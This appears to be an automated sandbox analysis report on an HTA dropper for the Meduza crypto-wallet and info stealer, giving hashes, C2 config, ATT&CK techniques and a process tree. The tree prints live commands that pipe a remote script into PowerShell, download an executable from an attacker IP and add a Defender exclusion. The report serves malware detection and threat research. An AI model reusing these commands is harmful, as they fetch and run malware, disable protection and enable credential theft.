meduza | 054a6b8b84efa1127eca70abdba55e0f59fc96157504e5c9dcf0d6ff8386717f

General

Target

script.hta
Size

551B
MD5

4041595b42e7b6e2ce5965cb76ea7da1
SHA1

401723ee1ac651ad359b89dd7e3cefea91d6aaa9
SHA256

054a6b8b84efa1127eca70abdba55e0f59fc96157504e5c9dcf0d6ff8386717f
SHA512

84cfba05772a5adfef0ddfe65bda07d8b908c16de04ea60942338c49a98db625801a986fd999740f61c62650b6e8ebb7f6056e76fe8656d09207f4cf9ffe7c19

Score

10^/10

meduza collection discovery execution spyware stealer

Malware Config

Extracted

Family

meduza

C2

193.3.19.151

Attributes

anti_dbg
true
anti_vm
true
build_name
hdont
extensions
.txt
grabber_max_size
4.194304e+06
port
15666
self_destruct
false

Signatures

Meduza
Meduza is a crypto wallet and info stealer written in C++.
stealer meduza

Meduza Stealer payload 1 IoCs

resource	yara_rule
behavioral2/files/0x000b000000023b95-94.dat	family_meduza

Meduza family
meduza

Blocklisted process makes network request 2 IoCs

flow	pid	Process
16	4564	powershell.exe
20	4412	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4412	powershell.exe
4564	powershell.exe
60	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	Launcher.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	cpcl43rt.do4.exe

Executes dropped EXE 2 IoCs

pid	Process
2420	Launcher.exe
676	cpcl43rt.do4.exe

Loads dropped DLL 3 IoCs

pid	Process
2420	Launcher.exe
2420	Launcher.exe
2420	Launcher.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook profiles 1 TTPs 5 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	cpcl43rt.do4.exe
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Office\12.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	cpcl43rt.do4.exe
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	cpcl43rt.do4.exe
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	cpcl43rt.do4.exe
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	cpcl43rt.do4.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
22	api.ipify.org
23	api.ipify.org

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Launcher.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
4564	powershell.exe
4564	powershell.exe
60	powershell.exe
60	powershell.exe
4412	powershell.exe
4412	powershell.exe
676	cpcl43rt.do4.exe
676	cpcl43rt.do4.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	4564	powershell.exe
Token: SeDebugPrivilege	60	powershell.exe
Token: SeDebugPrivilege	4412	powershell.exe
Token: SeDebugPrivilege	676	cpcl43rt.do4.exe
Token: SeImpersonatePrivilege	676	cpcl43rt.do4.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2420	Launcher.exe
2420	Launcher.exe
2420	Launcher.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 4344 wrote to memory of 3616	4344	mshta.exe	83
PID 4344 wrote to memory of 3616	4344	mshta.exe	83
PID 4344 wrote to memory of 3616	4344	mshta.exe	83
PID 3616 wrote to memory of 5008	3616	cmd.exe	85
PID 3616 wrote to memory of 5008	3616	cmd.exe	85
PID 3616 wrote to memory of 5008	3616	cmd.exe	85
PID 3616 wrote to memory of 4564	3616	cmd.exe	86
PID 3616 wrote to memory of 4564	3616	cmd.exe	86
PID 3616 wrote to memory of 4564	3616	cmd.exe	86
PID 4564 wrote to memory of 2420	4564	powershell.exe	89
PID 4564 wrote to memory of 2420	4564	powershell.exe	89
PID 4564 wrote to memory of 2420	4564	powershell.exe	89
PID 2420 wrote to memory of 60	2420	Launcher.exe	90
PID 2420 wrote to memory of 60	2420	Launcher.exe	90
PID 2420 wrote to memory of 60	2420	Launcher.exe	90
PID 2420 wrote to memory of 4412	2420	Launcher.exe	94
PID 2420 wrote to memory of 4412	2420	Launcher.exe	94
PID 2420 wrote to memory of 4412	2420	Launcher.exe	94
PID 2420 wrote to memory of 676	2420	Launcher.exe	99
PID 2420 wrote to memory of 676	2420	Launcher.exe	99

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	cpcl43rt.do4.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	cpcl43rt.do4.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\script.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4344
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c curl -s http://147.45.47.15/script.ps1 | powershell -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3616
- - C:\Windows\SysWOW64\curl.exe
    curl -s http://147.45.47.15/script.ps1
    3⤵
    PID:5008
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command -
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4564
  - - C:\Windows\Temp\Launcher.exe
      "C:\Windows\Temp\Launcher.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:2420
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:60
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "iwr -useb 'http://147.45.47.15/duschno.exe' -OutFile 'C:\Windows\Temp\cpcl43rt.do4.exe'"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4412
    - - C:\Windows\Temp\cpcl43rt.do4.exe
        
        "C:\Windows\Temp\cpcl43rt.do4.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Accesses Microsoft Outlook profiles
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        outlook_office_path
        outlook_win_path
        
        PID:676

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

Browser Information Discovery

Query Registry

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Data from Local System

Email Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
c580727fc0a7a733ea6a446b67ca63f7

SHA1
ebdd57fca25df0f759dec07c5382d560df7600c2

SHA256
369ef9ccfc9923d44f390840e46cc948796bb79bec86644402608e9a8af80073

SHA512
2a1aba5dfe194d53ce71cafb94d147999968aa0a7e5bd1db069da62ab3e06f475af77c258532647dcb7370f4e12c188b99624fc5a9c7c44f196c98e9d2b12733

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
1dc1377b928cb2310629995e9a615998

SHA1
59f7c5a705014a184b49ebc3bd9561b742c0a05b

SHA256
13c906c61f6c7f77ab4925ba6a013861927982df6643e105afbfb7b923109323

SHA512
07c44fb6daeea10494be9ecc499995a4e5a612d3abb4aaa84f7109f05136bacc543d4f65f33a43e7fa3780bf9baf9d754ceddfe2f92b494f3fa330d9cfc540a8

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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eg25lawy.riy.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

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C:\Windows\Temp\IVIEWERS.DLL

Filesize
6KB

MD5
e017be56699801dc89a8d6d1724eb633

SHA1
a7f7aae4744210db8ebaf4da06c167357bc71eca

SHA256
aa6b0863022bda1e0c263a75ae2896fe473d3bf57a76efc258b3afec8c157564

SHA512
2368425dadc7f22eb11532359d4d1aa97bf3e381f4fd7b62c587e1f8819ef64a0ff7fc75cc5948939fadebc423345ab65a1cd2799bb4136fbea89d1f75dfc8c8

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C:\Windows\Temp\Launcher.exe

Filesize
201KB

MD5
2696d944ffbef69510b0c826446fd748

SHA1
e4106861076981799719876019fe5224eac2655c

SHA256
a4f53964cdddcccbd1b46da4d3f7f5f4292b5dd11c833d3db3a1e7def36da69a

SHA512
c286bc2da757cbb2a28cf516a4a273dd11b15f674d5f698a713dc794f013b7502a8893ab6041e51bab3cdd506a18c415b9df8483b19e312f8fcb88923f42b8eb

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C:\Windows\Temp\cpcl43rt.do4.exe

Filesize
1.2MB

MD5
c6813da66eba357d0deaa48c2f7032b8

SHA1
6812e46c51f823ff0b0ee17bfce0af72f857af66

SHA256
1420f60f053c3ea5605239ee431e5f487245108b1c01be75d16b5246156fa178

SHA512
19391c6b12ba8f34a5faf326f8986ef8de4729d614d72bf438c6efa569b3505159ca55f580fe2a02642e5e7a0f1b38a7a9db9f0d66d67ba548d84c230183159e

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memory/60-74-0x00000000071F0000-0x0000000007201000-memory.dmp

Filesize
68KB

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memory/60-59-0x0000000006040000-0x000000000608C000-memory.dmp

Filesize
304KB

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memory/60-77-0x0000000007330000-0x000000000734A000-memory.dmp

Filesize
104KB

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memory/60-75-0x0000000007220000-0x000000000722E000-memory.dmp

Filesize
56KB

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memory/60-78-0x0000000007310000-0x0000000007318000-memory.dmp

Filesize
32KB

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memory/60-73-0x0000000007060000-0x000000000706A000-memory.dmp

Filesize
40KB

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memory/60-72-0x0000000006EC0000-0x0000000006F63000-memory.dmp

Filesize
652KB

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memory/60-71-0x0000000006E90000-0x0000000006EAE000-memory.dmp

Filesize
120KB

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memory/60-61-0x0000000070CA0000-0x0000000070CEC000-memory.dmp

Filesize
304KB

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memory/60-60-0x00000000062A0000-0x00000000062D2000-memory.dmp

Filesize
200KB

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memory/60-76-0x0000000007230000-0x0000000007244000-memory.dmp

Filesize
80KB

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memory/60-58-0x00000000058E0000-0x0000000005C34000-memory.dmp

Filesize
3.3MB

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memory/2420-47-0x0000000075400000-0x000000007540A000-memory.dmp

Filesize
40KB

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memory/2420-46-0x00000000057C0000-0x00000000057CA000-memory.dmp

Filesize
40KB

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memory/4412-89-0x0000000005ED0000-0x0000000006224000-memory.dmp

Filesize
3.3MB

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memory/4412-91-0x0000000006970000-0x00000000069BC000-memory.dmp

Filesize
304KB

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memory/4564-18-0x0000000006660000-0x000000000667E000-memory.dmp

Filesize
120KB

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memory/4564-41-0x0000000074BB0000-0x0000000075360000-memory.dmp

Filesize
7.7MB

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memory/4564-28-0x0000000008C80000-0x0000000009224000-memory.dmp

Filesize
5.6MB

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memory/4564-26-0x0000000007E30000-0x0000000007EC6000-memory.dmp

Filesize
600KB

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memory/4564-27-0x0000000007DD0000-0x0000000007DF2000-memory.dmp

Filesize
136KB

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memory/4564-23-0x00000000079F0000-0x0000000007A0A000-memory.dmp

Filesize
104KB

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memory/4564-22-0x0000000008050000-0x00000000086CA000-memory.dmp

Filesize
6.5MB

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memory/4564-21-0x0000000007750000-0x00000000077C6000-memory.dmp

Filesize
472KB

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memory/4564-20-0x0000000006BC0000-0x0000000006C04000-memory.dmp

Filesize
272KB

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memory/4564-19-0x0000000006710000-0x000000000675C000-memory.dmp

Filesize
304KB

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memory/4564-0-0x0000000074BBE000-0x0000000074BBF000-memory.dmp

Filesize
4KB

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memory/4564-17-0x00000000060A0000-0x00000000063F4000-memory.dmp

Filesize
3.3MB

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memory/4564-7-0x0000000006030000-0x0000000006096000-memory.dmp

Filesize
408KB

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memory/4564-6-0x0000000005F90000-0x0000000005FF6000-memory.dmp

Filesize
408KB

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memory/4564-5-0x00000000056B0000-0x00000000056D2000-memory.dmp

Filesize
136KB

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memory/4564-4-0x0000000074BB0000-0x0000000075360000-memory.dmp

Filesize
7.7MB

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memory/4564-3-0x0000000005770000-0x0000000005D98000-memory.dmp

Filesize
6.2MB

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memory/4564-2-0x0000000074BB0000-0x0000000075360000-memory.dmp

Filesize
7.7MB

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memory/4564-1-0x0000000005100000-0x0000000005136000-memory.dmp

Filesize
216KB

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